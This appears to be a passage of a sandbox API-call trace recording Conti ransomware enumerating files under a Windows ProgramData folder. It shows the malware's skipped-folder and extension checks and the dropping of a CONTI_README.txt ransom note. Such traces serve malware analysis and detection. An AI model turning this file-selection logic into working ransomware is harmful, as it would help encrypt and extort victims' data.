	[0104.696] StrStrIW (lpFirst="windows.uif_ondemand.xml.inbox", lpSrch=".lnk") returned 0x0
	[0104.696] StrStrIW (lpFirst="windows.uif_ondemand.xml.inbox", lpSrch=".sys") returned 0x0
	[0104.696] StrStrIW (lpFirst="windows.uif_ondemand.xml.inbox", lpSrch=".CONTI") returned 0x0
	[0104.696] StrStrIW (lpFirst="windows.uif_ondemand.xml.inbox", lpSrch="CONTI_README.txt") returned 0x0
	[0104.696] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned 54
	[0104.696] lstrlenW (lpString="windows.uif_ondemand.xml.inbox") returned 30
	[0104.696] GetProcessHeap () returned 0x1720000
	[0104.696] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xac) returned 0x17c7588
	[0104.696] lstrcpyW (in: lpString1=0x17c7588, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios"
	[0104.696] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\"
	[0104.696] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\", lpString2="windows.uif_ondemand.xml.inbox" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedScenarios\\windows.uif_ondemand.xml.inbox"
	[0104.696] FindNextFileW (in: hFindFile=0x17c8430, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a88b65e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="windows.uif_ondemand.xml.inbox", cAlternateFileName="WINDOW~1.INB")) returned 0
	[0104.697] GetProcessHeap () returned 0x1720000
	[0104.697] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e4158 | out: hHeap=0x1720000) returned 1
	[0104.697] FindClose (in: hFindFile=0x17c8430 | out: hFindFile=0x17c8430) returned 1
	[0104.697] GetProcessHeap () returned 0x1720000
	[0104.697] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1740820 | out: hHeap=0x1720000) returned 1
	[0104.697] FindNextFileW (in: hFindFile=0x17c7fb0, lpFindFileData=0x5c3f3d0 | out: lpFindFileData=0x5c3f3d0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x4d8e7d9f, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f66c, dwReserved1=0xb6884, cFileName="DownloadedSettings", cAlternateFileName="DOWNLO~2")) returned 1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2=".") returned 1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="..") returned 1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="tmp") returned -1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="winnt") returned -1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="Application Data") returned 1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="AppData") returned 1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="temp") returned -1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="thumb") returned -1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="$Recycle.Bin") returned 1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="$RECYCLE.BIN") returned 1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="System Volume Information") returned -1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="Program Files") returned -1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="Program Files (x86)") returned -1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="Boot") returned 1
	[0104.697] lstrcmpiW (lpString1="DownloadedSettings", lpString2="Windows") returned -1
	[0104.697] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis") returned 34
	[0104.697] lstrlenW (lpString="DownloadedSettings") returned 18
	[0104.697] GetProcessHeap () returned 0x1720000
	[0104.697] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x6c) returned 0x1740910
	[0104.697] lstrcpyW (in: lpString1=0x1740910, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis") returned="C:\\ProgramData\\Microsoft\\Diagnosis"
	[0104.697] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\"
	[0104.697] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\", lpString2="DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.697] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.697] GetProcessHeap () returned 0x1720000
	[0104.697] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740898
	[0104.697] lstrcpyW (in: lpString1=0x1740898, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.697] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\*") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\*"
	[0104.697] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.697] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0104.698] GetProcessHeap () returned 0x1720000
	[0104.698] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x8e) returned 0x181c450
	[0104.698] lstrcpyW (in: lpString1=0x181c450, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.698] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.698] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\CONTI_README.txt"
	[0104.698] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\diagnosis\\downloadedsettings\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324
	[0104.700] GetProcessHeap () returned 0x1720000
	[0104.701] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181c450 | out: hHeap=0x1720000) returned 1
	[0104.701] WriteFile (in: hFile=0x324, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f13c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f13c*=0xa2, lpOverlapped=0x0) returned 1
	[0104.701] CloseHandle (hObject=0x324) returned 1
	[0104.702] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8370
	[0104.702] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0104.702] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4d8e7d9f, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0x523e3ce3, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0104.702] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0104.702] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0104.702] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x523e3ce3, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x523e3ce3, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x52409c06, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0104.702] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0104.702] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0104.702] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0104.702] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0104.702] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x69d9f6fd, ftCreationTime.dwHighDateTime=0x1d336d8, ftLastAccessTime.dwLowDateTime=0x69d9f6fd, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0x69e5dfd5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x623b, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="telemetry.ASM-WindowsDefault.json", cAlternateFileName="TELEME~1.JSO")) returned 1
	[0104.702] lstrcmpiW (lpString1="telemetry.ASM-WindowsDefault.json", lpString2=".") returned 1
	[0104.702] lstrcmpiW (lpString1="telemetry.ASM-WindowsDefault.json", lpString2="..") returned 1
	[0104.702] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json", lpSrch=".CONTI") returned 0x0
	[0104.702] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.702] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json", lpSrch=".exe") returned 0x0
	[0104.702] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json", lpSrch=".dll") returned 0x0
	[0104.702] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json", lpSrch=".lnk") returned 0x0
	[0104.702] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json", lpSrch=".sys") returned 0x0
	[0104.702] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json", lpSrch=".CONTI") returned 0x0
	[0104.702] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.702] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.702] lstrlenW (lpString="telemetry.ASM-WindowsDefault.json") returned 33
	[0104.702] GetProcessHeap () returned 0x1720000
	[0104.702] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb0) returned 0x17c61b0
	[0104.702] lstrcpyW (in: lpString1=0x17c61b0, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.702] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.702] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="telemetry.ASM-WindowsDefault.json" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json"
	[0104.702] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a8b18c4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5eab1ff, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5eab1ff, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x44f, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="telemetry.ASM-WindowsDefault.json.bk", cAlternateFileName="TELEME~1.BK")) returned 1
	[0104.703] lstrcmpiW (lpString1="telemetry.ASM-WindowsDefault.json.bk", lpString2=".") returned 1
	[0104.703] lstrcmpiW (lpString1="telemetry.ASM-WindowsDefault.json.bk", lpString2="..") returned 1
	[0104.703] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json.bk", lpSrch=".CONTI") returned 0x0
	[0104.703] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json.bk", lpSrch="CONTI_README.txt") returned 0x0
	[0104.703] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json.bk", lpSrch=".exe") returned 0x0
	[0104.703] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json.bk", lpSrch=".dll") returned 0x0
	[0104.703] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json.bk", lpSrch=".lnk") returned 0x0
	[0104.703] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json.bk", lpSrch=".sys") returned 0x0
	[0104.703] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json.bk", lpSrch=".CONTI") returned 0x0
	[0104.703] StrStrIW (lpFirst="telemetry.ASM-WindowsDefault.json.bk", lpSrch="CONTI_README.txt") returned 0x0
	[0104.703] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.703] lstrlenW (lpString="telemetry.ASM-WindowsDefault.json.bk") returned 36
	[0104.703] GetProcessHeap () returned 0x1720000
	[0104.703] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xb6) returned 0x17c6c78
	[0104.703] lstrcpyW (in: lpString1=0x17c6c78, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.703] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.703] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="telemetry.ASM-WindowsDefault.json.bk" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.ASM-WindowsDefault.json.bk"
	[0104.703] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xb0c71bce, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0xb0c71bce, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb0fb9083, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x4c, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="TELEMETRY.ASM-WINDOWSSQ.json", cAlternateFileName="TELEME~4.JSO")) returned 1
	[0104.703] lstrcmpiW (lpString1="TELEMETRY.ASM-WINDOWSSQ.json", lpString2=".") returned 1
	[0104.703] lstrcmpiW (lpString1="TELEMETRY.ASM-WINDOWSSQ.json", lpString2="..") returned 1
	[0104.703] StrStrIW (lpFirst="TELEMETRY.ASM-WINDOWSSQ.json", lpSrch=".CONTI") returned 0x0
	[0104.703] StrStrIW (lpFirst="TELEMETRY.ASM-WINDOWSSQ.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.703] StrStrIW (lpFirst="TELEMETRY.ASM-WINDOWSSQ.json", lpSrch=".exe") returned 0x0
	[0104.703] StrStrIW (lpFirst="TELEMETRY.ASM-WINDOWSSQ.json", lpSrch=".dll") returned 0x0
	[0104.703] StrStrIW (lpFirst="TELEMETRY.ASM-WINDOWSSQ.json", lpSrch=".lnk") returned 0x0
	[0104.703] StrStrIW (lpFirst="TELEMETRY.ASM-WINDOWSSQ.json", lpSrch=".sys") returned 0x0
	[0104.703] StrStrIW (lpFirst="TELEMETRY.ASM-WINDOWSSQ.json", lpSrch=".CONTI") returned 0x0
	[0104.703] StrStrIW (lpFirst="TELEMETRY.ASM-WINDOWSSQ.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.703] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.703] lstrlenW (lpString="TELEMETRY.ASM-WINDOWSSQ.json") returned 28
	[0104.703] GetProcessHeap () returned 0x1720000
	[0104.703] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa6) returned 0x1732c10
	[0104.703] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.703] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.704] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="TELEMETRY.ASM-WINDOWSSQ.json" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\TELEMETRY.ASM-WINDOWSSQ.json"
	[0104.704] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x2d95e660, ftCreationTime.dwHighDateTime=0x1d336e0, ftLastAccessTime.dwLowDateTime=0x2d95e660, ftLastAccessTime.dwHighDateTime=0x1d336e0, ftLastWriteTime.dwLowDateTime=0x2e6edc8f, ftLastWriteTime.dwHighDateTime=0x1d336e0, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", cAlternateFileName="TEA386~1.JSO")) returned 1
	[0104.704] lstrcmpiW (lpString1="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpString2=".") returned 1
	[0104.704] lstrcmpiW (lpString1="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpString2="..") returned 1
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpSrch=".CONTI") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpSrch=".exe") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpSrch=".dll") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpSrch=".lnk") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpSrch=".sys") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpSrch=".CONTI") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.704] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.704] lstrlenW (lpString="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json") returned 96
	[0104.704] GetProcessHeap () returned 0x1720000
	[0104.704] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12e) returned 0x17c7180
	[0104.704] lstrcpyW (in: lpString1=0x17c7180, lpString2="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings"
	[0104.704] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\"
	[0104.704] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\", lpString2="telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json" | out: lpString1="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json") returned="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings\\telemetry.P-ARIA-194626ba46434f9ab441dd7ebda2aa64-5f64bebb-ac28-4cc7-bd52-570c8fe077c9-7717.json"
	[0104.704] FindNextFileW (in: hFindFile=0x17c8370, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0x7ea85252, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x7ea85252, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x7f139471, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x90, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", cAlternateFileName="TELEME~2.JSO")) returned 1
	[0104.704] lstrcmpiW (lpString1="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpString2=".") returned 1
	[0104.704] lstrcmpiW (lpString1="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpString2="..") returned 1
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpSrch=".CONTI") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpSrch=".exe") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpSrch=".dll") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpSrch=".lnk") returned 0x0
	[0104.704] StrStrIW (lpFirst="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpSrch=".sys") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpSrch=".CONTI") returned 0x0
	[0104.705] StrStrIW (lpFirst="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json", lpSrch="CONTI_README.txt") returned 0x0
	[0104.705] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Diagnosis\\DownloadedSettings") returned 53
	[0104.705] lstrlenW (lpString="telemetry.P-ARIA-31f8f00f75ee43d4996762625b6917f2-ce77d96f-eec8-4063-a05a-09720f5bbf1b-7138.json") returned 96
	[0104.705] GetProcessHeap () returned 0x1720000
	[0104.705] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x12e) returned 0x17c8648
